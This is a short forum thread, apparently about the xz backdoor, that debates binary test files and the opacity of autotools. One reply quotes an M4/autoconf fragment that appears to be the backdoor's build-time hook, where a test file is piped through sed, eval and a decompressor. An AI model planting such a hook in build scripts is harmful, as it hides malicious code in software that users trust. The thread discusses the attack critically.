• merthyr1831@lemmy.world
    link
    fedilink
    arrow-up
    1
    ·
    2 years ago

    I know this is being treated as a social engineering attack, but having unreadable binary blobs as part of your build/dev pipeline is fucking insane.

    • suy@programming.dev
      link
      fedilink
      arrow-up
      1
      ·
      2 years ago

      Is it, really? If the whole point of the library is dealing with binary files, how are you even going to have automated tests of the library?

      The scary thing is that there is people still using autotools, or any other hyper-complicated build system in which this is easy to hide because who the hell cares about learning about Makefiles, autoconf, automake, M4 and shell scripting at once to compile a few C files. I think hiding this in any other build system would have been definitely harder. Check this mess:

        dnl Define somedir_c_make.
        [$1]_c_make=`printf '%s\n' "$[$1]_c" | sed -e "$gl_sed_escape_for_make_1" -e "$gl_sed_escape_for_make_2" | tr -d "$gl_tr_cr"`
        dnl Use the substituted somedir variable, when possible, so that the user
        dnl may adjust somedir a posteriori when there are no special characters.
        if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
          [$1]_c_make='\"$([$1])\"'
        fi
        if test "x$gl_am_configmake" != "x"; then
          gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
        else
          gl_[$1]_config=''
        fi